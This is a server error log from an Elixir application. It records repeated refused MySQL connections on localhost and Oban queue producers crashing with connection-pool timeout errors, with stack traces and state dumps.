[Thu Sep  3 05:41:19.089000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 05:41:19.091000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:19.468000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.606.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 05:41:19.468000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.598.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 05:41:19.468000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.599.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 05:41:19.468000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.605.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 05:41:19.471000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.606.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:19.473000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.598.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:19.474000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.599.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:19.475000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.605.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:19.729000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 05:41:19.729000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 05:41:19.730000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 05:41:19.732000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 05:41:19.732000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 05:41:19.732000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 05:41:19.741000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:19.741000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:19.745000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:19.745000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:19.751000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:19.759000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:19.891000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.601.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:19.893000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:20.232000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.600.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:20.249000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.603.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:20.577000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.604.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:20.667000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.602.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:20.798000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.606.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:20.827000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:20.867000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:20.948000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:21.277000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.599.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:21.286000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.597.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:21.430000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:21.462000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.598.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:21.479000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:21.508000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:21.513000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.605.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:21.559000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:22.019000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:22.253000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.601.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:22.554000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:22.762000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.600.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:22.975000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:23.154000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:23.493000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.603.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:23.637000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.602.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:23.726000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:24.315000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:24.432000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:24.470000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.598.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:24.578000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:24.736000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.606.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:25.012000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.605.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:25.437000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.599.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:25.959000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.600.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:26.051000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:26.595000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.604.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:26.610000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:26.923000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:27.209000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.597.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:27.473000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:27.589000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.601.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:27.812000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:27.864000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:28.093000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.598.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:28.294000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:28.679000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.603.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:28.940000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:29.240000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.602.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:29.529000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:31.004000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.599.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:32.205000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.605.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:32.853000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:33.090000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:33.280000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.600.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:34.241000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:34.803000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.598.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:35.467000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.603.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:36.228000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.597.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:36.482000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.606.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:36.922000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:37.731000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.601.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:38.770000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:39.920000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:40.269000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.599.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:40.689000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:40.922000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.604.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:41.104000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.602.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:42.559000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:42.851000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:42.868000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.605.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:43.574000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:44.224000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.600.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:46.107000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.603.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:46.274000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:48.152000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.601.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:49.683000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.597.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:49.718000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:51.110000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.598.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:54.306000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:54.862000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:55.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1010ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-01 06:40:19.250975Z], limit: 50, uuid: "f6d0891f-e126-47e6-9f92-6eb3acbd2823", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-03 05:41:29.286357Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1074003971.217863>, refresh_timer: #Reference<0.2525715032.1074003971.217782>, dispatch_cooldown: 5, running: %{}}
[Thu Sep  3 05:41:55.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1022ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-01 06:40:19.251869Z], limit: 5, uuid: "893b18ba-e67a-48bf-8395-e4ae61f461ad", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-03 05:41:27.396363Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1074003971.217862>, refresh_timer: #Reference<0.2525715032.1074003971.217767>, dispatch_cooldown: 5, running: %{}}
[Thu Sep  3 05:41:55.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 872ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
